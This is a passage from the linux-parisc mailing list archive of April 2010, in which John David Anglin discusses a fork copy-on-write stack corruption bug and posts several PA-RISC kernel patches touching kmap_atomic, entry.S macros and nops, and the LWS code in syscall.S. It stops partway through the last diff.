	for glpp-linux-parisc@lo.gmane.org; Sun, 11 Apr 2010 00:54:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752396Ab0DJWx7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 10 Apr 2010 18:53:59 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3241 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752357Ab0DJWx7 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 10 Apr 2010 18:53:59 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 29F434EF4; Sat, 10 Apr 2010 18:53:56 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <4BC0E3AD.4050802@gmx.de>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2778
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2778>

On Sat, 10 Apr 2010, Helge Deller wrote:

> Nevertheless, on my B2000 (32bit, SMP, 2.6.32.2 kernel) I still do see the minifail bug.
> The only difference seems to be, that the minifail3 program doesn't get stuck any
> more. It still crashes though from time to time...

There are some issues with your minifail3.c testcase.  The fork'd child
shouldn't do any I/O and it should exit using _exit(0).  Otherwise, it
can corrupt the I/O structures of the parent.  I'm not sure that this
is the issue on your B2000, but it's worth a try.

The testcase when modified as above doesn't crash on my c3750 (32bit, UP,
2.6.32.2 kernel).

I found in debugging this testcase that the crash was always associated
with the stack region for thread_run.  I put a big loop in thread_run.
The index for the loop when compiled at -O0 is constantly being saved
and restored on the stack.  I found that crashes occured after many
iterations of the loop.  Nothing else was going on.

The COW discussion convinced me that cache flushing was the problem.
The fork (clone) syscall causes the stack region used by thread_run
to become COW'd.  When thread_run is scheduled, the loop caused an
instant COW break and stack corruption.  The state of the stack region
generally returned to its state before the fork.

If the above doesn't fix the testcase on your B2000, there must be
some difference and other PA8000 machines.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] Call pagefault_disable/pagefault_enable in
	kmap_atomic/kunmap_atomic
Date: Sun, 11 Apr 2010 12:36:14 -0400
Organization: nrc.ca
Lines: 79
Approved: news@gmane.org
Message-ID: <20100411163613.GA7365@hiauly1.hia.nrc.ca>
References: <20100408215453.GA18445@hiauly1.hia.nrc.ca> <20100408224446.96F294FA3@hiauly1.hia.nrc.ca> <x2p119aab441004090714v107c8fc1s9ca94066871a3e8b@mail.gmail.com> <20100409151330.GA23889@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="EVF5PPMfhYS0aIcm"
X-Trace: dough.gmane.org 1271003790 12473 80.91.229.12 (11 Apr 2010 16:36:30 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 11 Apr 2010 16:36:30 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, deller@gmx.de, gniibe@fsij.org,
	linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 11 18:36:28 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O1094-0007YM-Gc
	for glpp-linux-parisc@lo.gmane.org; Sun, 11 Apr 2010 18:36:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752176Ab0DKQgS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 11 Apr 2010 12:36:18 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3281 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752173Ab0DKQgR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 11 Apr 2010 12:36:17 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 012EE5057; Sun, 11 Apr 2010 12:36:14 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20100409151330.GA23889@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2779
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2779>


--EVF5PPMfhYS0aIcm
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Fri, 09 Apr 2010, John David Anglin wrote:

> On Fri, 09 Apr 2010, Carlos O'Donell wrote:
> 
> > We need to start splitting up your giant "stability" patch into
> > manageable chunks.

Here's the first chunk.

Based on the generic implementation of kmap_atomic and kunmap_atomic,
we should call pagefault_disable and pagefault_enable in our PA8000
implementation.

The define for kmap_atomic_prot was also missing, and I updated
kmap_atomic_pfn to use the generic implementation because of the
change to kmap_atomic.

I believe that this change is needed to fix the fork copy-on-write
bug.

Signed-off-by: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

--EVF5PPMfhYS0aIcm
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="cacheflush.h.d"

diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index 7a73b61..ab87176 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -2,6 +2,7 @@
 #define _PARISC_CACHEFLUSH_H
 
 #include <linux/mm.h>
+#include <linux/uaccess.h>
 
 /* The usual comment is "Caches aren't brain-dead on the <architecture>".
  * Unfortunately, that doesn't apply to PA-RISC. */
@@ -113,11 +114,20 @@ static inline void *kmap(struct page *page)
 
 #define kunmap(page)			kunmap_parisc(page_address(page))
 
-#define kmap_atomic(page, idx)		page_address(page)
+static inline void *kmap_atomic(struct page *page, enum km_type idx)
+{
+	pagefault_disable();
+	return page_address(page);
+}
 
-#define kunmap_atomic(addr, idx)	kunmap_parisc(addr)
+static inline void kunmap_atomic(void *addr, enum km_type idx)
+{
+	kunmap_parisc(addr);
+	pagefault_enable();
+}
 
-#define kmap_atomic_pfn(pfn, idx)	page_address(pfn_to_page(pfn))
+#define kmap_atomic_prot(page, idx, prot)	kmap_atomic(page, idx)
+#define kmap_atomic_pfn(pfn, idx)	kmap_atomic(pfn_to_page(pfn), (idx))
 #define kmap_atomic_to_page(ptr)	virt_to_page(ptr)
 #endif
 

--EVF5PPMfhYS0aIcm--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] Remove unnecessary macros from entry.S
Date: Sun, 11 Apr 2010 13:03:54 -0400
Organization: nrc.ca
Lines: 108
Approved: news@gmane.org
Message-ID: <20100411170353.GA7756@hiauly1.hia.nrc.ca>
References: <20100408215453.GA18445@hiauly1.hia.nrc.ca> <20100408224446.96F294FA3@hiauly1.hia.nrc.ca> <x2p119aab441004090714v107c8fc1s9ca94066871a3e8b@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="TB36FDmn/VVEgNH/"
X-Trace: dough.gmane.org 1271005441 17845 80.91.229.12 (11 Apr 2010 17:04:01 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 11 Apr 2010 17:04:01 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, deller@gmx.de, gniibe@fsij.org,
	linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 11 19:03:59 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O10Zj-000820-D5
	for glpp-linux-parisc@lo.gmane.org; Sun, 11 Apr 2010 19:03:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752302Ab0DKRD6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 11 Apr 2010 13:03:58 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3289 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752185Ab0DKRD5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 11 Apr 2010 13:03:57 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 6C4925057; Sun, 11 Apr 2010 13:03:54 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <x2p119aab441004090714v107c8fc1s9ca94066871a3e8b@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2780
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2780>


--TB36FDmn/VVEgNH/
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Fri, 09 Apr 2010, Carlos O'Donell wrote:

> We need to start splitting up your giant "stability" patch into
> manageable chunks.

Here's the second chunk.  It's a cleanup.

The EXTR, DEP and DEPI macros are unnecessary.  There are PA 1.X
pneumonics available with the same functionality, and the DEP and DEPI
macros conflict with assembler pneumonics.

Tested on a variety of 32 and 64-bit systems.

Signed-off-by: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

--TB36FDmn/VVEgNH/
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="entry.S.d"

diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 3a44f7f..a7e9472 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -364,32 +364,6 @@
 	.align		32
 	.endm
 
-	/* The following are simple 32 vs 64 bit instruction
-	 * abstractions for the macros */
-	.macro		EXTR	reg1,start,length,reg2
-#ifdef CONFIG_64BIT
-	extrd,u		\reg1,32+(\start),\length,\reg2
-#else
-	extrw,u		\reg1,\start,\length,\reg2
-#endif
-	.endm
-
-	.macro		DEP	reg1,start,length,reg2
-#ifdef CONFIG_64BIT
-	depd		\reg1,32+(\start),\length,\reg2
-#else
-	depw		\reg1,\start,\length,\reg2
-#endif
-	.endm
-
-	.macro		DEPI	val,start,length,reg
-#ifdef CONFIG_64BIT
-	depdi		\val,32+(\start),\length,\reg
-#else
-	depwi		\val,\start,\length,\reg
-#endif
-	.endm
-
 	/* In LP64, the space contains part of the upper 32 bits of the
 	 * fault.  We have to extract this and place it in the va,
 	 * zeroing the corresponding bits in the space register */
@@ -442,19 +416,19 @@
 	 */
 	.macro		L2_ptep	pmd,pte,index,va,fault
 #if PT_NLEVELS == 3
-	EXTR		\va,31-ASM_PMD_SHIFT,ASM_BITS_PER_PMD,\index
+	extru		\va,31-ASM_PMD_SHIFT,ASM_BITS_PER_PMD,\index
 #else
-	EXTR		\va,31-ASM_PGDIR_SHIFT,ASM_BITS_PER_PGD,\index
+	extru		\va,31-ASM_PGDIR_SHIFT,ASM_BITS_PER_PGD,\index
 #endif
-	DEP             %r0,31,PAGE_SHIFT,\pmd  /* clear offset */
+	dep             %r0,31,PAGE_SHIFT,\pmd  /* clear offset */
 	copy		%r0,\pte
 	ldw,s		\index(\pmd),\pmd
 	bb,>=,n		\pmd,_PxD_PRESENT_BIT,\fault
-	DEP		%r0,31,PxD_FLAG_SHIFT,\pmd /* clear flags */
+	dep		%r0,31,PxD_FLAG_SHIFT,\pmd /* clear flags */
 	copy		\pmd,%r9
 	SHLREG		%r9,PxD_VALUE_SHIFT,\pmd
-	EXTR		\va,31-PAGE_SHIFT,ASM_BITS_PER_PTE,\index
-	DEP		%r0,31,PAGE_SHIFT,\pmd  /* clear offset */
+	extru		\va,31-PAGE_SHIFT,ASM_BITS_PER_PTE,\index
+	dep		%r0,31,PAGE_SHIFT,\pmd  /* clear offset */
 	shladd		\index,BITS_PER_PTE_ENTRY,\pmd,\pmd
 	LDREG		%r0(\pmd),\pte		/* pmd is now pte */
 	bb,>=,n		\pte,_PAGE_PRESENT_BIT,\fault
@@ -605,7 +579,7 @@
 	depdi		0,31,32,\tmp
 #endif
 	copy		\va,\tmp1
-	DEPI		0,31,23,\tmp1
+	depi		0,31,23,\tmp1
 	cmpb,COND(<>),n	\tmp,\tmp1,\fault
 	ldi		(_PAGE_DIRTY|_PAGE_WRITE|_PAGE_READ),\prot
 	depd,z		\prot,8,7,\prot

--TB36FDmn/VVEgNH/--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] Delete unnecessary nop's in entry.S
Date: Sun, 11 Apr 2010 13:08:51 -0400
Organization: nrc.ca
Lines: 48
Approved: news@gmane.org
Message-ID: <20100411170851.GB7756@hiauly1.hia.nrc.ca>
References: <20100408215453.GA18445@hiauly1.hia.nrc.ca> <20100408224446.96F294FA3@hiauly1.hia.nrc.ca> <x2p119aab441004090714v107c8fc1s9ca94066871a3e8b@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="oC1+HKm2/end4ao3"
X-Trace: dough.gmane.org 1271005741 18813 80.91.229.12 (11 Apr 2010 17:09:01 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 11 Apr 2010 17:09:01 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, deller@gmx.de, gniibe@fsij.org,
	linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 11 19:08:59 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O10eV-0001D6-1l
	for glpp-linux-parisc@lo.gmane.org; Sun, 11 Apr 2010 19:08:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752233Ab0DKRIy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 11 Apr 2010 13:08:54 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3293 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752203Ab0DKRIx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 11 Apr 2010 13:08:53 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 7054C5057; Sun, 11 Apr 2010 13:08:52 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <x2p119aab441004090714v107c8fc1s9ca94066871a3e8b@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2781
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2781>


--oC1+HKm2/end4ao3
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Fri, 09 Apr 2010, Carlos O'Donell wrote:

> We need to start splitting up your giant "stability" patch into
> manageable chunks.

Here's the third chunk.  It removes some unnecessary nop's.

Signed-off-by: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

--oC1+HKm2/end4ao3
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="entry.S.d.1"

diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 3a44f7f..a7e9472 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -997,13 +978,6 @@ intr_restore:
 
 	rfi
 	nop
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
 
 #ifndef CONFIG_PREEMPT
 # define intr_do_preempt	intr_restore

--oC1+HKm2/end4ao3--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] Avoid interruption in critical region in entry.S
Date: Sun, 11 Apr 2010 13:12:56 -0400
Organization: nrc.ca
Lines: 47
Approved: news@gmane.org
Message-ID: <20100411171255.GC7756@hiauly1.hia.nrc.ca>
References: <20100408215453.GA18445@hiauly1.hia.nrc.ca> <20100408224446.96F294FA3@hiauly1.hia.nrc.ca> <x2p119aab441004090714v107c8fc1s9ca94066871a3e8b@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="ghzN8eJ9Qlbqn3iT"
X-Trace: dough.gmane.org 1271005984 19707 80.91.229.12 (11 Apr 2010 17:13:04 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 11 Apr 2010 17:13:04 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, deller@gmx.de, gniibe@fsij.org,
	linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 11 19:13:01 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O10iR-0002vv-JA
	for glpp-linux-parisc@lo.gmane.org; Sun, 11 Apr 2010 19:12:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752443Ab0DKRM6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 11 Apr 2010 13:12:58 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3297 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752377Ab0DKRM6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 11 Apr 2010 13:12:58 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id DD7D2505C; Sun, 11 Apr 2010 13:12:56 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <x2p119aab441004090714v107c8fc1s9ca94066871a3e8b@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2782
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2782>


--ghzN8eJ9Qlbqn3iT
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Fri, 09 Apr 2010, Carlos O'Donell wrote:

> We need to start splitting up your giant "stability" patch into
> manageable chunks.

Here's the fourth chunk.  Am I being paranoid?

Signed-off-by: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

--ghzN8eJ9Qlbqn3iT
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="entry.S.d.2"

diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 3a44f7f..a7e9472 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -2076,9 +2051,10 @@ syscall_restore:
 	LDREG	TASK_PT_GR31(%r1),%r31	   /* restore syscall rp */
 
 	/* NOTE: We use rsm/ssm pair to make this operation atomic */
+	LDREG   TASK_PT_GR30(%r1),%r1              /* Get user sp */
 	rsm     PSW_SM_I, %r0
-	LDREG   TASK_PT_GR30(%r1),%r30             /* restore user sp */
-	mfsp	%sr3,%r1			   /* Get users space id */
+	copy    %r1,%r30                           /* Restore user sp */
+	mfsp    %sr3,%r1                           /* Get user space id */
 	mtsp    %r1,%sr7                           /* Restore sr7 */
 	ssm     PSW_SM_I, %r0
 

--ghzN8eJ9Qlbqn3iT--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] LWS fixes for syscall.S
Date: Sun, 11 Apr 2010 13:26:34 -0400
Organization: nrc.ca
Lines: 161
Approved: news@gmane.org
Message-ID: <20100411172634.GD7756@hiauly1.hia.nrc.ca>
References: <20100408215453.GA18445@hiauly1.hia.nrc.ca> <20100408224446.96F294FA3@hiauly1.hia.nrc.ca> <x2p119aab441004090714v107c8fc1s9ca94066871a3e8b@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="AkbCVLjbJ9qUtAXD"
X-Trace: dough.gmane.org 1271006803 22378 80.91.229.12 (11 Apr 2010 17:26:43 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 11 Apr 2010 17:26:43 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, deller@gmx.de, gniibe@fsij.org,
	linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Apr 11 19:26:39 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1O10vf-0007d2-Ay
	for glpp-linux-parisc@lo.gmane.org; Sun, 11 Apr 2010 19:26:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752387Ab0DKR0i (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 11 Apr 2010 13:26:38 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3304 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752345Ab0DKR0h (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 11 Apr 2010 13:26:37 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 8DBC45057; Sun, 11 Apr 2010 13:26:35 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <x2p119aab441004090714v107c8fc1s9ca94066871a3e8b@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2783
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2783>


--AkbCVLjbJ9qUtAXD
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Fri, 09 Apr 2010, Carlos O'Donell wrote:

> We need to start splitting up your giant "stability" patch into
> manageable chunks.

Here's the fifth chunk.  It contains a variety of fixes to the LWS
code in syscall.S.

1) Gate immediately and save a branch.
2) Fix off by one error in checking entry number.
3) Use sr7 instead of sr3 in error return path as sr3 might not
   contain correct value.
4) Enable locking on UP systems to prevent incorrect operation of
   the cas_action critical region on page faults.

Fixes 2 and 4 are new.

Tested on several systems, including UP c3750 with 2.6.33.2 kernel.

Signed-off-by: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

--AkbCVLjbJ9qUtAXD
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="syscall.S.d"

diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index f5f9602..68e75ce 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -47,18 +47,17 @@ ENTRY(linux_gateway_page)
 	KILL_INSN
 	.endr
 
-	/* ADDRESS 0xb0 to 0xb4, lws uses 1 insns for entry */
+	/* ADDRESS 0xb0 to 0xb8, lws uses two insns for entry */
 	/* Light-weight-syscall entry must always be located at 0xb0 */
 	/* WARNING: Keep this number updated with table size changes */
 #define __NR_lws_entries (2)
 
 lws_entry:
-	/* Unconditional branch to lws_start, located on the 
-	   same gateway page */
-	b,n	lws_start
+	gate	lws_start, %r0		/* increase privilege */
+	depi	3, 31, 2, %r31		/* Ensure we return into user mode. */
 
-	/* Fill from 0xb4 to 0xe0 */
-	.rept 11
+	/* Fill from 0xb8 to 0xe0 */
+	.rept 10
 	KILL_INSN
 	.endr
 
@@ -423,9 +422,6 @@ tracesys_sigexit:
 
 	*********************************************************/
 lws_start:
-	/* Gate and ensure we return to userspace */
-	gate	.+8, %r0
-	depi	3, 31, 2, %r31	/* Ensure we return to userspace */
 
 #ifdef CONFIG_64BIT
 	/* FIXME: If we are a 64-bit kernel just
@@ -442,7 +438,7 @@ lws_start:
 #endif	
 
         /* Is the lws entry number valid? */
-	comiclr,>>=	__NR_lws_entries, %r20, %r0
+	comiclr,>>	__NR_lws_entries, %r20, %r0
 	b,n	lws_exit_nosys
 
 	/* WARNING: Trashing sr2 and sr3 */
@@ -473,7 +469,7 @@ lws_exit:
 	/* now reset the lowest bit of sp if it was set */
 	xor	%r30,%r1,%r30
 #endif
-	be,n	0(%sr3, %r31)
+	be,n	0(%sr7, %r31)
 
 
 	
@@ -529,7 +525,6 @@ lws_compare_and_swap32:
 #endif
 
 lws_compare_and_swap:
-#ifdef CONFIG_SMP
 	/* Load start of lock table */
 	ldil	L%lws_lock_start, %r20
 	ldo	R%lws_lock_start(%r20), %r28
@@ -572,8 +567,6 @@ cas_wouldblock:
 	ldo	2(%r0), %r28				/* 2nd case */
 	b	lws_exit				/* Contended... */
 	ldo	-EAGAIN(%r0), %r21			/* Spin in userspace */
-#endif
-/* CONFIG_SMP */
 
 	/*
 		prev = *addr;
@@ -601,13 +594,11 @@ cas_action:
